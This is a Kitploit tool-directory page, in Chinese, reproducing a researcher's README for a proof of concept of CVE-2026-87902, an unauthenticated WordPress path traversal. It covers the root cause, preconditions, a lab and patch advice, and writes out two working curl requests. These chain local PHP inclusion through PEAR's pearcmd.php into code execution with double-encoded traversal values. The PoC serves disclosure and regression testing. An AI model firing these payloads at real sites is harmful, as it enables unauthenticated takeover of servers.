Skip to content
KitploitKITPLOIT
工具漏洞利用博客
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2026-87902-poc — 针对 CVE-2026-87902 的 PoC —— WordPress 页面模板解析中的未认证路径遍历(本地 PHP 包含,条件性 RCE),附带固定版本的易受攻击实验环境 | Kitploit
工具/GitHubGitHub/ressl/cve-2026-87902-poc
漏洞分析漏洞利用Web应用程序漏洞利用安全虚拟化Web安全渗透测试实验室与实践
GitHubressl/cve-2026-87902-poc

cve-2026-87902-poc

针对 CVE-2026-87902 的 PoC —— WordPress 页面模板解析中的未认证路径遍历(本地 PHP 包含,条件性 RCE),附带固定版本的易受攻击实验环境

查看仓库
3151天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
网站
分享

CVE-2026-87902 — WordPress Core:页面模板解析中的未认证路径遍历

WordPress Core 中通过双重编码的 pagename 值实现的未认证本地 PHP 文件包含——并且在特定部署条件下,以 Web 服务器账户权限执行 PHP 代码。

CVECVE-2026-87902
厂商公告GHSA-7hp8-65ch-5whp
技术分析CVE-2026-87902: Critical WordPress file inclusion and conditional RCE
受影响版本WordPress Core 4.7.0 – 7.1.1(根据公告中各分支的范围,涵盖所有分支);已在 7.0.2 上动态复现
修复版本7.1.2(7.1 分支)、7.0.6(7.0 分支),以及向下回溯至 4.7.37 的每个分支的补丁(根据公告)
弱点CWE-98(include 中文件名控制不当)、CWE-22 / CWE-23(路径遍历)
CVSS v3.1CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 高危
CVSS v4.0(补充)CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N — 9.2 严重
认证要求无——不需要账户、Cookie、nonce、会话、插件或出站请求
用户交互无
作者Robert Ressl — ressl.ch
PoC 验证时间2026-09-22,针对本仓库中的实验环境——参见验证结果

摘要

WordPress 解析页面模板的调用链从未验证所选文件是否仍位于主题根目录内:

  1. pagename 和 page_id 是公开查询变量,WP::parse_request() 会从匿名 POST 请求体中接受它们。
  2. pagename 中的双重编码路径遍历在早期查询清理中作为转义的 %xx 字节存活下来(wp_basename() 无法将 %2f 识别为分隔符,而 sanitize_title_with_dashes() 有意保留有效的字节)。
  3. 随后一个有效的 page_id 会选中一个真实已发布的页面,而恶意的 pagename 仍保留在查询对象中。
  4. get_page_template() 稍后对该值调用 urldecode(),并将诸如 page-templates/../../../../../../../usr/local/lib/php/pearcmd.php 的候选项添加到模板层级中。
  5. locate_template() 和最终的模板加载器仅检查存在性、可读性以及 .php/.html 后缀——从不检查规范化路径是否仍位于允许的主题根目录内——然后 include 它。

这就是 WordPress Core 中的一个未认证远程本地文件包含原语。在测试的官方运行时(wordpress:php8.3-apache,它捆绑了 PEAR 且不加载 php.ini,因此 register_argc_argv 为 On)上,该包含被链接到 PEAR 的 pearcmd.php:第一个匿名请求使 config-create 将攻击者控制的 PHP 写入 /tmp,第二个匿名请求包含该文件并以 www-data 身份执行它。

Core 中缺失的路径包含检查才是漏洞所在。PEAR 只是从文件包含到代码执行的其中一条依赖环境的路径——它不是 WordPress 的依赖项,也并非在每个部署中都存在或可用。

根本原因

已验证的源代码位置(WordPress 7.0.2):

#位置作用
1wp-includes/class-wp.php:18,322-330pagename 和 page_id 是公开查询变量,从 $_POST 中读取
2wp-includes/class-wp-query.php:2205sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) ) — %2f 对 wp_basename() 而言不是分隔符
3wp-includes/formatting.php:2283-2289sanitize_title_with_dashes() 保留有效的 %xx 字节而非移除它们
4wp-includes/template.php:492$pagename_decoded = urldecode( $pagename ); — 路径遍历在清理之后才生效
5wp-includes/template.php:722-736locate_template() 将候选项拼接到每个主题根目录下,仅调用 file_exists()
6wp-includes/template-loader.php:116-132realpath() 规范化路径,然后 include 执行,没有规范化根目录包含检查
7wp-includes/canonical.php:42-47redirect_canonical() 对非 GET/HEAD 请求提前返回,因此 POST 不会被规范化重定向

前提条件

独立的文件包含原语需要:

#前提条件原因
1一个已发布的、可匿名访问的页面,通过数字 page_id 选中在路径名查找失败后,查询必须返回该页面
2没有更早可解析的自定义页面模板有效的已分配模板排序在恶意候选项之前
3活动(子或父)主题中存在一个名称以 page- 开头的顶层目录,例如 page-templates/WordPress 会前置固定的 page- 前缀,因此 .. 遍历无法从位置 0 开始;该目录只需存在且可遍历——不需要可写
4一个选中的本地 .php 文件,存在且 PHP 用户可读加载器检查 is_file()/is_readable() 并要求 .php 后缀
5没有阻止该文件的文件系统限制open_basedir 或 MAC 策略可以阻止该包含

所演示的 PEAR 阶段还需要一个可读的 pearcmd.php(及其依赖项)、Web SAPI 的 register_argc_argv=On,以及一个可写的输出目录。生产环境的 php.ini 文件设置 register_argc_argv=Off;测试镜像不加载 php.ini,因此编译默认值(On)生效。这是对所演示代码执行链普遍性的重要限制。

捆绑的 Twenty Twenty-Three/Four/Five 主题不附带顶层 page-* 目录,因此原版实验环境需要下文描述的夹具。自定义主题可以合法地使用 page-templates/ 布局(WordPress 文档)。

公告记录了这些条件在已发布软件中出现的位置:主题条件由旧版 Twenty Twelve 和 Twenty Fourteen 主题以及 Neve、Hestia 和 Sydney 等第三方主题满足,而 PEAR 转换适用于官方 PHP Docker 镜像以及运行 PHP 8.5 以下版本的默认 cPanel 配置。(Twenty Twelve 和 Twenty Fourteen 都附带顶层 page-templates/ 目录;其余陈述来自公告。)本仓库未测量完整链条的适用频率。

快速开始

root@kitploit:~
./lab/up.sh            # WordPress 7.0.2 + MySQL 8.4 + the page-* fixture, installed and ready
python3 cve-2026-87902.py   # two anonymous POSTs, prints the proof marker

cve-2026-87902.py 需要 Python 3.6+(仅标准库),默认访问实验环境 http://127.0.0.1:8091。预期输出:

root@kitploit:~
[*] target        : http://127.0.0.1:8091
[*] page id       : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7       : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal     : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file  : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker        : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof         : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges

成功时退出码为 0,否则为 1,因此该 PoC 也可用作回归/检测检查。

清理:docker compose down -v。

验证结果

2026-09-22 针对本实验环境运行(Docker 29.4、OrbStack、Apple silicon):

检查项结果
阶段 1HTTP 200;/tmp/wp-pear-rce-flag.php 以 www-data:www-data 写入,权限 0644,1219 字节
载荷 SHA-256460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 — 与原始报告中记录的哈希一致
阶段 2HTTP 200;注入的 PHP 打印了权限为 0444 的证明工件
标记出现次数12(PEAR 将受控的根值序列化到 12 个配置条目中)
使用的凭据无——任何请求中都没有 Cookie 或 Authorization 头
阴性对照移除 page-templates/ → 阶段 2 返回正常页面,无标记,退出码 1

证明工件是容器内的 /flag,由 root 拥有且全局可读(root:root,权限 0444)。它证明以 Web 服务器账户身份执行 PHP 并访问文件;它不是提权目标。

链条如何工作

两个匿名 POST。WordPress 路由值在表单体中传递,PEAR 参数在原始查询字符串中传递(PHP 将原始查询字符串按字面 + 拆分为 argv,且不对各个参数进行 URL 解码):

root@kitploit:~
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>"   # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php"                                              # output file

阶段 1 — 包含 pearcmd.php 并写入载荷:

root@kitploit:~
curl --path-as-is -sS -X POST \
  'http://127.0.0.1:8091/?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php' \
  --data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'

阶段 2 — 包含生成的文件并运行其 PHP:

root@kitploit:~
curl --path-as-is -sS -X POST \
  'http://127.0.0.1:8091/' \
  --data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'

关键细节:

  • 两层编码。 请求体被 PHP 解码一次为 templates%2f%2e%2e%2f...;清理器保留这些字节,只有 get_page_template() 后期的 urldecode() 才将它们转换为 / 和 ..。
  • page- 前缀。 WordPress 会在值前面加上 page-,因此夹具目录 page-templates/ 对应开头的 templates 段。
  • 强制 .php 后缀。 候选项是 page-<decoded>.php,这就是目标不带后缀给出的原因(.../pearcmd、/tmp/wp-pear-rce-flag)。
  • POST 而非 GET。 redirect_canonical() 跳过非 GET/HEAD 请求,而表单体让查询字符串只携带 PEAR 参数。
  • 无引号载荷。 wp_magic_quotes() 也会作用于 $_SERVER,因此服务器构建的 argv 被转义,PEAR 稍后会规范化反斜杠。已验证的载荷使用 chr() 且不包含引号字符。(它简化为 <?=file_get_contents('/flag')?>。)
  • config-create 根路径。 PEAR 拒绝相对根路径(Root directory must be an absolute path beginning with "/"),因此载荷被注入为根路径本身。
  • 深度。 cve-2026-87902.py 遍历 .. 段直到路径遍历到达目标(本实验环境布局为 7,可用 --depth 固定)。

实验环境

lab/up.sh 执行三个步骤,可安全重复运行:

  1. docker compose up -d --build --wait — 固定 wordpress:7.0.2-php8.3-apache 加 mysql:8.4,端口 127.0.0.1:8091(仅回环)。
  2. 如果站点尚未安装,则运行 WordPress 安装程序(admin / adminadmin)。
  3. 在活动主题内创建夹具并打印它:wp-content/themes/twentytwentyfive/page-templates/,root:root,权限 0755,空。

实验镜像显式添加 register_argc_argv=On(lab/Dockerfile),而非依赖编译默认值,并内置 /flag(root:root,权限 0444,内容 CVE-2026-87902-POC-OK)。

组件值
WordPress7.0.2(wordpress:7.0.2-php8.3-apache)
PHP / SAPI8.3.33,Apache 模块
PEAR1.10.18,位于 /usr/local/lib/php/pearcmd.php
MySQL8.4
register_argc_argvOn
主题Twenty Twenty-Five + 空的 root 拥有的 page-templates/ 夹具
目标页面已发布的 Sample Page,ID 2,默认模板
证明工件/flag,root:root,权限 0444

滚动标签 wordpress:php8.3-apache 不适用于本实验环境:该漏洞在 7.1.2 中已修复,未固定的标签会静默地将实验环境变为已修补状态。

阴性对照与限制

已验证或已记录的对照:

  • 主题中没有顶层 page-* 目录 → 固定前缀无法被移除,路径遍历永远不会开始(已验证:移除夹具 → 无标记)。
  • register_argc_argv=Off → 没有 PEAR 写入器,但文件包含原语仍然存在。
  • PEAR 或其依赖项缺失 → 没有写入器。
  • .. 段数量错误 → 未到达目标(已验证:深度 1-6 和 8-12 在实验环境中不产生标记)。
  • 为页面分配了自定义页面模板 → 排序在恶意候选项之前并胜出。
  • 无后缀文件(例如 /flag)无法直接读取——候选项会被追加 .php。
  • 拒绝请求目标中原始 <、>、= 字节的 WAF/CDN/反向代理会破坏 PEAR 参数通道(因部署而异)。
  • open_basedir/MAC 限制或不可写的输出目录会破坏链条;/tmp 上的 noexec 不会(PHP 读取并解释该文件)。

本 PoC 复现了一个已验证的配置。它并不声称每个 WordPress 安装都可被利用,也不测量普遍性。

修复建议

  • 升级到 WordPress 7.1.2 或更新版本(或您所在分支的补丁版本)。
  • 模板处理的纵深防御:解码后,拒绝路径遍历和绝对路径候选项(例如 validate_file()),并在包含已定位模板之前,将候选项和主题根目录的 realpath() 与末尾目录分隔符进行比较。
  • 运维缓解措施:为 Web SAPI 设置 register_argc_argv=Off,从生产镜像中移除未使用的 Web 可读 PEAR 入口点,审计子主题和父主题中的顶层 page-* 目录,并限制 PHP 账户的写访问权限。

文件

路径用途
cve-2026-87902.py漏洞利用:页面检测、两个阶段、深度处理、标记验证
lab/up.sh将实验环境置于漏洞利用所期望的确切状态(幂等)
docker-compose.ymlWordPress 7.0.2 + MySQL 8.4,仅回环端口
lab/Dockerfile固定易受攻击的版本,设置 register_argc_argv=On,内置 /flag
lab/flag证明工件的内容

披露时间线

日期事件
2026-07-20通过 WordPress HackerOne 项目私下报告
2026-07-21确认收到
2026-09-15被告知修复计划在即将发布的版本中进行;要求提供归属细节
2026-09-22WordPress 7.1.2 发布并包含修复;公告 GHSA-7hp8-65ch-5whp 发布

该报告在初始分类被修订后被接受为有效的安全发现;通信记录未注明该接受的日期。

免责声明

本仓库出于防御和研究目的发布。仅对您拥有或明确授权测试的系统使用它。实验环境绑定到 127.0.0.1,不得暴露给不受信任的网络。

许可证

MIT — 参见 LICENSE。引用元数据位于 CITATION.cff:

Ressl, Robert (2026). CVE-2026-87902 PoC: unauthenticated path traversal in WordPress page-template resolution (v1.0.0). https://ressl.ch

漏洞报告和本 PoC 在组织和一致性审查方面借助了 AI 协助;研究人员对技术主张负责。

下载工具